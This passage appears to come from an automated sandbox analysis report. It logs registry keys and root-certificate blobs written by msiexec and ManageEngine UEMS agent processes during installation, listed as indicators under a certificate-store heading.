\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\LocalOffice\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\LocalOffice\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcconfig.exe - Modifies system certificate store 2 TTPs 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\REQUEST dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\Remote Desktop dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 dcprocmon.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob = 5900000001000000100000005200530041002f004d004400320000007e0000000100000008000000000010c51e92d201620000000100000020000000e7685634efacf69ace939a6b255b7b4fabef42935b50a265acb5cb6027e44e7009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030119000000010000001000000091161b894b117ecdc257628db460cc04030000000100000014000000742c3192e607e424eb4549542be1bbc53e6174e21d000000010000001000000027b3517667331ce2c1e74002b5ff2298140000000100000014000000e27f7bd877d5df9e0a3f9eb4cb0e2ea9efdb69770b000000010000004600000056006500720069005300690067006e00200043006c006100730073002000330020005000750062006c006900630020005000720069006d00610072007900200043004100000004000000010000001000000010fc635df6263e0df325be5f79cd67670f0000000100000010000000d7c63be0837dbabf881d4fbf5f986ad853000000010000002400000030223020060a2b0601040182375e010130123010060a2b0601040182373c0101030200c07a000000010000000e000000300c060a2b0601040182375e010268000000010000000800000000003db65bd9d5012000000001000000400200003082023c308201a5021070bae41d10d92934b638ca7b03ccbabf300d06092a864886f70d0101020500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3936303132393030303030305a170d3238303830313233353935395a305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f7269747930819f300d06092a864886f70d010101050003818d0030818902818100c95c599ef21b8a0114b410df0440dbe357af6a45408f840c0bd133d9d911cfee02581f25f72aa84405aaec031f787f9e93b99a00aa237dd6ac85a26345c77227ccf44cc67571d239ef4f42f075df0a90c68e206f980ff8ac235f702936a4c986e7b19a20cb53a585e73dbe7d9afe244533dc7615ed0fa271644c652e816845a70203010001300d06092a864886f70d010102050003818100bb4c122bcf2c26004f1413dda6fbfc0a11848cf3281c67922f7cb6c5fadff0e895bc1d8f6c2ca851cc73d8a4c053f04ed626c076015781925e21f1d1b1ffe7d02158cd6917e3441c9c194439895cdc9c000f568d0299eda290454ce4bb10a43df032030ef1cef8e8c9518ce6629fe69fc07db7729cc9363a6b9f4ea8ff640d64 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\UserDS dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\Windows Live ID Token Issuer dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000000400000001000000100000008eadb501aa4d81e48c1dd1e1140095190300000001000000140000003679ca35668772304d30a5fb873b0fa77bb70d547e000000010000000800000000c0032f2df8d6011d0000000100000010000000439b4d52906df7a01771d729528723b3140000000100000014000000b677fa6948479f5312d5c2ea07327607d19707197f0000000100000016000000301406082b0601050507030306082b060105050703016200000001000000200000002399561127a57125de8cefea610ddf2fa078b5c8067f4e828290bfb860e84b3c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b0601050507030853000000010000004200000030403021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000006000000056006500720069005300690067006e00200055006e006900760065007200730061006c00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f000000010000002000000017fe16f394ec70a5bb0c6784cab40b1e61025ae9d50ecaa0531d6b4d997bbc59190000000100000010000000ad6d6ff31b24013151f279e26a8c33245c0000000100000004000000000800002000000001000000bd040000308204b9308203a1a0030201020210401ac46421b31321030ebbe4121ac51d300d06092a864886f70d01010b05003081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479301e170d3038303430323030303030305a170d3337313230313233353935395a3081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100c761375eb10134db62d7159bff585a8c2323d6608e91d79098837ae65819388cc5f6e56485b4a271fbedbdb9dacd4d00b4c82d73a5c76971951f393cb244079ce80efa4d4ac421df29618f32226182c5871f6e8c7c5f16205144d1704f57eae31ce3cc79ee58d80ec2b34593c02ce79a172b7b00377a413378e133e2f3101a7f872cbef6f5f742e2e5bf8762895f004bdfc5dde4754432413a1e716e69cb0b754608d1cad22b95d0cffbb9406b648c574dfc13117984ed5e54f6349f0801f3102506174adaf11d7a666b986066a4d9efd22e82f1f0ef09ea44c9156ae2036e33d3ac9f5500c7f6086a94b95fdce033f18460f95b2711b4fc16f2bb566a80258d0203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e04160414b677fa6948479f5312d5c2ea07327607d1970719300d06092a864886f70d01010b050003820101004af8f8b003e62c677be4947763cc6e4cf97d0e0ddcc8b935b9704f63fa24fa6c838c479d3b63f39af976329591b177bcac9abeb1e43121c68195565a0eb1c2d4b1a659acf163cbb84c1d59904aef9016281f5aae10fb8150380c6cccf13dc3f563e3b3e321c92439e9fd156646f41b11d04d73a37d46f93deda85f62d4f13ff8e074572b189d81b4c428da9497a570ebac1dbe0711f0d5dbdde58cf0d532b083e657e28fbfbea1aabf3d1db5d438ead7b05c3a4f6a3f8fc0666c63aae9d9a416f481d195140e7dcd9534d9d28f7073817b9c7ebd9861d845879890c5eb8630c635bff0ffc35588834bef05920671f2b89893b7eccd8261f138e64f97982a5a8d dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a85900000001000000120000005200530041002f00530048004100310000002000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a dcprocmon.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 5c0000000100000004000000000800005900000001000000120000005200530041002f00530048004100310000000f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c953000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df1400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331330b000000010000001200000056006500720069005300690067006e0000001d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3617e000000010000000800000000c0032f2df8d6016800000001000000000000000300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e5190000000100000010000000d8b5fb368468620275d142ffd2aade37040000000100000010000000cb17e431673ee209fe455793f30afa1c2000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a dcprocmon.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcpatchscan.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5 dcprocmon.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 5900000001000000120000005200530041002f00530048004100310000000f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c953000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df1400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331330b000000010000001200000056006500720069005300690067006e0000001d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3617e000000010000000800000000c0032f2df8d6016800000001000000000000000300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e5190000000100000010000000d8b5fb368468620275d142ffd2aade372000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c0000000100000004000000000800005900000001000000120000005200530041002f00530048004100310000000f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c9040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a dcprocmon.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\TrustedDevices dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 59000000010000001a000000450043004400530041002f005300480041003300380034000000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0190000000100000010000000b009e99a5cfc928a173190106dbb32a90f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff0b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f007400200047003300000062000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d0140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc61d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb130300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e040000000100000010000000f55da450a5fb287e1e0f0dcc965756ca5c000000010000000400000080010000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703082000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555